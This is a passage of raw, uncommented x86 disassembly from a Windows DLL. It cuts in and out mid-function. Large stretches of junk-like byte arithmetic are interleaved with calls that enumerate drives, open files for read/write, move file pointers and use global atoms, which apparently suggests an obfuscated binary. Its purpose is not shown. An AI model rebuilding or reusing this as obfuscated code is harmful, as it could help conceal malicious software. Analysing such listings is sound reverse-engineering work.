mov byte [ebp - 0x41], cl
movsx eax, byte [ebp - 0x49]
movsx ecx, byte [ebp - 0x6d]
add eax, ecx
mov byte [ebp - 0x43], al
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x4c]
sub eax, ecx
mov byte [ebp - 0x1e], al
mov edx, dword [ebp - 0x1d4]
add edx, 0x93
mov dword [ebp - 0x1d4], edx
movsx eax, byte [ebp - 0x6d]
movsx ecx, byte [ebp - 0x49]
sar eax, cl
mov byte [ebp - 6], al
movsx ecx, byte [ebp - 0x32]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x21], cl
jmp 0x10003f8c
mov ecx, dword [ebp - 0x164]
mov edx, dword [ecx]
mov dword [ebp - 0x23c], edx
cmp dword [ebp - 0x23c], 0x1f7
je 0x10004127
cmp dword [ebp - 0x23c], 0x1961
je 0x10004104
jmp 0x1000417c
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x4b], cl
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call fcn.10001430
add esp, 8
jmp 0x1000417c
movsx eax, byte [ebp - 0xf]
mov ecx, dword [0x10008050]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0xc0]
mov byte [edx], al
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
mov eax, dword [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
call fcn.100014a0
add esp, 0x20
lea ecx, [ebp - 0x29]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 2]
and eax, ecx
mov byte [0x10008003], al
lea edx, [ebp - 0x1f]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0xf4]
adc ecx, dword [ebp - 0x15c]
mov edx, dword [0x1000803c]
mov esi, dword [edx]
sub esi, dword [ebp - 0xdc]
mov edx, dword [edx + 4]
sbb edx, dword [ebp - 0xd8]
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x354], esi
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x348]
cmp eax, dword [ebp - 0x350]
jb 0x100042ae
ja 0x1000420c
mov ecx, dword [ebp - 0x34c]
cmp ecx, dword [ebp - 0x354]
jb 0x100042ae
movsx edx, word [ebp - 0xec]
movsx eax, word [ebp - 0x54]
add edx, eax
mov word [ebp - 0x50], dx
mov ecx, dword [ebp - 0x154]
mov dl, byte [ecx]
mov byte [ebp - 0x2d4], dl
cmp byte [ebp - 0x2d4], 0
je 0x10004236
jmp 0x100042a0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx + 4]
push eax
mov edx, dword [edx]
push edx
mov eax, dword [ecx + 4]
push eax
mov ecx, dword [ecx]
push ecx
call fcn.10007db0
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
push 1
push 0
mov edx, dword [ebp - 0x22c]
push edx
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x29c], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x1d8], eax
jmp 0x100042ac
mov edx, dword [ebp - 0xa0]
and edx, dword [ebp - 0x6c]
mov dword [ebp - 0x74], edx
jmp 0x100042f7
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xc0]
mov byte [edx], cl
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
movsx edx, byte [0x10008037]
add ecx, edx
mov byte [ebp - 0x11], cl
movsx eax, byte [ebp - 6]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x108]
push eax
call fcn.10001470
add esp, 4
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x10008037], dl
push 0x4e8
push 0
lea edx, [ebp - 0x2d8]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x2e4], eax
movsx eax, byte [ebp - 6]
mov ecx, dword [ebp - 0xb4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0xf], al
lea edx, [ebp - 0xe4]
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x6c]
sar eax, cl
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0x74]
or edx, dword [ecx]
cmp eax, edx
jne 0x10007699
movsx eax, byte [ebp - 0x4b]
movsx ecx, byte [0x10008036]
add eax, ecx
movsx edx, byte [ebp - 0x39]
movsx ecx, byte [ebp - 0x6f]
add edx, ecx
cmp eax, edx
jge 0x1000438d
movsx edx, byte [ebp - 0x29]
movsx eax, byte [ebp - 0x4b]
sub edx, eax
mov byte [ebp - 0x6f], dl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0xa1], cl
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x29]
add eax, ecx
mov byte [ebp - 0x1d], al
mov dx, word [ebp - 0x100]
mov word [ebp - 0xcc], dx
movzx eax, word [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x174], ax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0xbc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ecx + 4]
sbb ecx, dword [edx + 4]
mov edx, dword [ebp - 0x98]
and edx, dword [ebp - 0x134]
mov esi, dword [ebp - 0x94]
and esi, dword [ebp - 0x130]
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x358], ecx
mov dword [ebp - 0x364], edx
mov dword [ebp - 0x360], esi
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x360]
jl 0x10004444
jg 0x1000442f
mov ecx, dword [ebp - 0x35c]
cmp ecx, dword [ebp - 0x364]
jb 0x10004444
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.10001430
add esp, 8
movsx edx, byte [ebp - 0x33]
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x29], dl
lea edx, [ebp - 0x4b]
mov dword [0x10008058], edx
mov eax, dword [0x10008050]
mov cl, byte [eax]
mov byte [ebp - 0xf9], cl
movzx edx, word [ebp - 0x100]
movzx eax, word [ebp - 0xe8]
xor edx, eax
movzx eax, word [ebp - 0x60]
mov ecx, dword [ebp - 0x104]
movzx ecx, word [ecx]
sar eax, cl
cmp edx, eax
je 0x100044c8
mov edx, dword [0x10008054]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 7]
shl eax, cl
mov byte [ebp - 0x33], al
movsx ecx, byte [ebp - 0xa2]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x10], cl
mov ecx, dword [ebp - 0xb8]
movsx edx, byte [ecx]
movsx eax, byte [0x10008036]
sub edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0xb8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x11]
and edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
movsx edx, byte [ebp - 6]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x40]
mov byte [eax], dl
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x108]
mov dword [ebp - 0x1ac], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6c]
mov dword [0x1000801c], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x6f5
je 0x1000452f
jmp 0x100045db
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x124]
add ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x120]
adc edx, dword [ebp - 0x15c]
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x43], cl
mov ecx, dword [ebp - 0xa0]
push ecx
mov edx, dword [ebp - 0x12c]
mov eax, dword [edx]
push eax
call fcn.10001430
add esp, 8
movsx ecx, byte [ebp - 0x32]
mov edx, dword [ebp - 0xf0]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x59], cl
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
jmp 0x10004648
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x6d]
sar edx, cl
mov byte [ebp - 3], dl
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0xb8]
mov dl, byte [ecx]
mov byte [0x1000805c], dl
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x6c]
shl eax, cl
mov dword [ebp - 0xa0], eax
push 0x2620
mov ecx, dword [ebp - 0x1f8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1b4], eax
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xa8]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0xc0]
mov byte [ecx], al
mov edx, dword [ebp - 0x30]
mov al, byte [edx]
mov byte [ebp - 0x4a], al
mov ecx, dword [0x10008008]
mov edx, dword [0x1000800c]
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x24c], edx
cmp dword [ebp - 0x250], 0xb71
jne 0x1000467c
cmp dword [ebp - 0x24c], 0x700000
je 0x100075d5
cmp dword [ebp - 0x250], 0x3d08c
jne 0x10004694
cmp dword [ebp - 0x24c], 0x2400000
je 0x10004699
jmp 0x10007665
movsx eax, byte [ebp - 0xf]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 2], al
push 0x10001100
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x2c4], ax
mov al, byte [ebp - 0x4a]
mov byte [ebp - 0xc6], al
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xe0]
sbb edx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x10c]
mov esi, dword [eax]
add esi, dword [ebp - 0x160]
mov eax, dword [eax + 4]
adc eax, dword [ebp - 0x15c]
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x368], edx
mov dword [ebp - 0x374], esi
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x36c]
cmp ecx, dword [ebp - 0x374]
jne 0x100047c2
mov edx, dword [ebp - 0x368]
cmp edx, dword [ebp - 0x370]
jne 0x100047c2
mov eax, dword [0x10008050]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xc6]
sub ecx, edx
mov byte [ebp - 0xa2], cl
movsx eax, word [ebp - 0x54]
movsx ecx, word [ebp - 0xec]
sub eax, ecx
mov word [ebp - 0xc], ax
movzx edx, byte [ebp - 0xc5]
movzx ecx, byte [section..data]
shl edx, cl
mov eax, dword [ebp - 0x154]
mov byte [eax], dl
movzx ecx, word [ebp - 0xe8]
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x60], cx
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [0x10008014]
push ecx
mov edx, dword [0x10008010]
push edx
mov eax, dword [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
call fcn.100014a0
add esp, 0x20
mov edx, dword [ebp - 0x58]
mov al, byte [edx]
mov byte [ebp - 0x2e0], al
cmp byte [ebp - 0x2e0], 0
je 0x100047db
jmp 0x100074a9
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x44]
sar edx, cl
mov eax, dword [ebp - 0x58]
mov byte [eax], dl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
movsx eax, byte [0x10008001]
xor edx, eax
mov byte [ebp - 0x10], dl
mov ecx, dword [ebp - 0x80]
mov dl, byte [ecx]
mov byte [ebp - 0xfa], dl
cmp dword [ebp - 0x1dc], 0x6377
jb 0x10004b67
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1e]
or ecx, edx
mov byte [ebp - 0x6e], cl
movsx eax, byte [ebp - 0x11]
movsx ecx, byte [0x10008003]
shl eax, cl
mov byte [ebp - 0x29], al
movsx ecx, byte [ebp - 0x10]
movsx edx, byte [ebp - 0xf]
and ecx, edx
mov byte [ebp - 0xa2], cl
mov eax, dword [ebp - 0x10c]
mov ecx, dword [0x1000804c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [eax + 4]
adc eax, dword [ecx + 4]
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x41], dl
push 2
push 0
push 0x2037
mov edx, dword [0x10008038]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1d8], eax
movsx eax, byte [ebp - 0x1d]
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x10008058]
mov byte [ecx], al
mov edx, dword [ebp - 0xf0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1d]
add eax, ecx
mov edx, dword [ebp - 0x80]
mov byte [edx], al
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
and ecx, edx
mov eax, dword [ebp - 0x80]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [0x10008044]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xac]
sbb eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
add eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x12c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x1d]
movsx eax, byte [ebp - 0x29]
add edx, eax
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
movsx edx, byte [ebp - 5]
movsx ecx, byte [ebp - 0xa1]
sar edx, cl
mov byte [ebp - 0x4c], dl
mov eax, dword [ebp - 0x18]
movsx edx, byte [eax]
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xf9], dl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x10]
or edx, eax
mov byte [0x10008036], dl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xf], dl
push 0x10001118
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a4], ax
movzx edx, word [0x10008018]
movzx eax, word [ebp - 0xcc]
and edx, eax
mov ecx, dword [ebp - 0x104]
mov word [ecx], dx
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 7], al
movsx eax, byte [0x10008003]
mov ecx, dword [ebp - 0xa8]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x44], al
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xf], cl
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
sub edx, dword [0x1000801c]
mov eax, dword [ebp - 0x12c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x32]
add edx, eax
mov byte [ebp - 0xe], dl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x33], dl
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x124]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x120]
sbb ecx, dword [edx + 4]
mov edx, dword [0x1000803c]
mov dword [edx], eax
mov dword [edx + 4], ecx
movsx eax, byte [ebp - 0x21]
movsx ecx, byte [ebp - 0x43]
add eax, ecx
mov byte [ebp - 0x41], al
movsx edx, byte [ebp - 0x49]
movsx eax, byte [ebp - 0x11]
sub edx, eax
mov byte [ebp - 3], dl
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x2e4], eax
movsx ecx, byte [ebp - 0x2a]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
mov eax, dword [ebp - 0x58]
movsx edx, byte [eax]
mov eax, dword [0x10008050]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2a], dl
mov ecx, dword [ebp - 0x1dc]
sub ecx, 0xe6
mov dword [ebp - 0x1dc], ecx
push 0
lea edx, [ebp - 0x544]
push edx
movzx eax, word [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 7]
shl edx, cl
mov byte [ebp - 0x59], dl
movsx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0xf], al
mov eax, dword [0x10008058]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xf9]
and ecx, edx
mov eax, dword [ebp - 0xb8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xa8]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x44], dl
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x10008050]
mov byte [ecx], al
mov edx, dword [ebp - 0x154]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd]
sub eax, ecx
mov byte [ebp - 0x1f], al
movsx edx, word [0x10008034]
movsx eax, word [ebp - 0x50]
sub edx, eax
mov word [ebp - 0xc], dx
mov ecx, dword [ebp - 0x98]
add ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x94]
adc edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [eax + 4], edx
jmp 0x10004809
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x100]
sub edx, eax
movzx ecx, word [ebp - 0xe8]
movzx eax, word [ebp - 0xcc]
and ecx, eax
cmp edx, ecx
jg 0x10007466
movsx ecx, byte [0x10008001]
movsx edx, byte [ebp - 3]
or ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
mov ecx, dword [ebp - 0xb8]
mov dl, byte [ecx]
mov byte [ebp - 0x8a], dl
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x378], edx
cmp dword [ebp - 0x37c], 0x3a41
jne 0x10004be0
cmp dword [ebp - 0x378], 0x700000
je 0x10004be2
jmp 0x10004c2c
movsx eax, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc0]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x59], al
movzx edx, word [ebp - 0xec]
push edx
mov eax, dword [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x180]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0x54]
push eax
call fcn.100013c0
add esp, 0x10
movsx ecx, byte [ebp - 0x4c]
movsx edx, byte [ebp - 0x10]
xor ecx, edx
mov eax, dword [0x10008050]
mov byte [eax], cl
jmp 0x10004c9e
mov ecx, dword [0x10008054]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 6]
sub edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
push 0
push 8
push 3
push 0
push 2
push 0xc0000000
push 0x10001128
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x10008060], eax
mov edx, dword [ebp - 0x10c]
mov eax, dword [edx]
and eax, dword [ebp - 0xf8]
mov ecx, dword [edx + 4]
and ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x58]
mov al, byte [edx]
mov byte [ebp - 0x89], al
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x74]
add edx, dword [ecx]
mov dword [ebp - 0xa0], edx
lea eax, [ebp - 1]
mov dword [ebp - 0xd4], eax
movsx ecx, word [ebp - 0xec]
mov dword [ebp - 0x288], ecx
cmp dword [ebp - 0x288], 0x1b56
je 0x10004cc5
jmp 0x10004dd1
mov edx, dword [ebp - 0x90]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x88]
add eax, dword [ecx]
mov edx, dword [ebp - 0xa0]
add edx, dword [ebp - 0x6c]
cmp eax, edx
jne 0x10004dcf
movsx eax, byte [ebp - 0x6f]
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 2], al
push 0x10001170
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x21c], ax
mov eax, dword [0x10008050]
mov cl, byte [eax]
mov byte [ebp - 0x7a], cl
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x274], edx
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x274], 0x419f
jne 0x10004d41
cmp dword [ebp - 0x270], 0x700000
je 0x10004d5b
cmp dword [ebp - 0x274], 0x4f05
jne 0x10004d59
cmp dword [ebp - 0x270], 0x700000
je 0x10004d98
jmp 0x10004dcf
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x60]
sub edx, eax
mov word [ebp - 0xcc], dx
movsx ecx, byte [ebp - 0x6e]
movsx edx, byte [ebp - 0x39]
sub ecx, edx
mov byte [ebp - 0x7a], cl
movsx eax, byte [ebp - 0xfa]
movsx ecx, byte [ebp - 0x8a]
sub eax, ecx
mov edx, dword [0x10008058]
mov byte [edx], al
jmp 0x10004dcf
movzx eax, byte [ebp - 0x6d]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0xa8]
movzx edx, byte [ecx]
push edx
call fcn.10001400
add esp, 0x1c
jmp 0x10004dee
movsx eax, byte [ebp - 1]
movsx ecx, byte [ebp - 0x42]
and eax, ecx
mov byte [ebp - 0x32], al
movsx edx, byte [ebp - 0x89]
movsx eax, byte [ebp - 0x33]
or edx, eax
mov byte [ebp - 1], dl
movsx eax, word [ebp - 0x54]
movsx ecx, word [ebp - 0x50]
cdq
idiv ecx
movsx edx, word [ebp - 0xec]
movsx ecx, word [ebp - 0xc]
shl edx, cl
cmp eax, edx
jge 0x10004e4b
movsx eax, byte [ebp - 0x7a]
movsx ecx, byte [ebp - 0xf]
sar eax, cl
mov byte [ebp - 0x29], al
movsx ecx, byte [ebp - 0x4c]
movsx edx, byte [ebp - 0x6d]
xor ecx, edx
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
movzx ecx, word [ebp - 0x54]
push ecx
mov edx, dword [0x10008044]
push edx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0xec]
push edx
call fcn.100013c0
add esp, 0x10
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x6e], cl
movzx ecx, word [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1a4], ax
mov edx, dword [ebp - 0x13c]
add edx, dword [0x10008010]
mov eax, dword [ebp - 0x138]
adc eax, dword [0x10008014]
mov ecx, dword [ebp - 0x84]
mov esi, dword [ebp - 0xbc]
mov edi, dword [ecx]
and edi, dword [esi]
mov ecx, dword [ecx + 4]
and ecx, dword [esi + 4]
mov dword [ebp - 0x384], edx
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x38c], edi
mov dword [ebp - 0x388], ecx
mov edx, dword [ebp - 0x380]
cmp edx, dword [ebp - 0x388]
jl 0x10004f3c
jg 0x10004ed8
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x38c]
jbe 0x10004f3c
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x21]
sub edx, eax
mov byte [ebp - 0x89], dl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [0x10008044]
sub edx, dword [ecx]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x84]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [eax + 4]
adc eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x128]
mov dword [ecx], edx
mov dword [ecx + 4], eax
movzx edx, word [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x54]
push ecx
call fcn.100013c0
add esp, 0x10
jmp 0x10004f88
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 4]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 6]
add ecx, edx
cmp eax, ecx
jge 0x10004f88
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x12c]
add ecx, dword [edx]
mov dword [0x1000801c], ecx
movsx eax, byte [ebp - 0x1e]
mov ecx, dword [ebp - 0xb4]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xa8]
mov byte [ecx], al
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [edx + 4]
sbb edx, dword [eax + 4]
mov eax, dword [ebp - 0x84]
mov esi, dword [eax]
or esi, dword [0x10008010]
mov eax, dword [eax + 4]
or eax, dword [0x10008014]
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x390], edx
mov dword [ebp - 0x39c], esi
mov dword [ebp - 0x398], eax
mov ecx, dword [ebp - 0x390]
cmp ecx, dword [ebp - 0x398]
jl 0x10005094
jg 0x10004ff3
mov edx, dword [ebp - 0x394]
cmp edx, dword [ebp - 0x39c]
jb 0x10005094
mov eax, dword [0x10008054]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x110]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xa1], dl
mov ecx, dword [ebp - 0x10c]
mov edx, dword [0x1000803c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ecx + 4]
and ecx, dword [edx + 4]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
mov edx, dword [ebp - 0x168]
push edx
mov eax, dword [ebp - 0x16c]
push eax
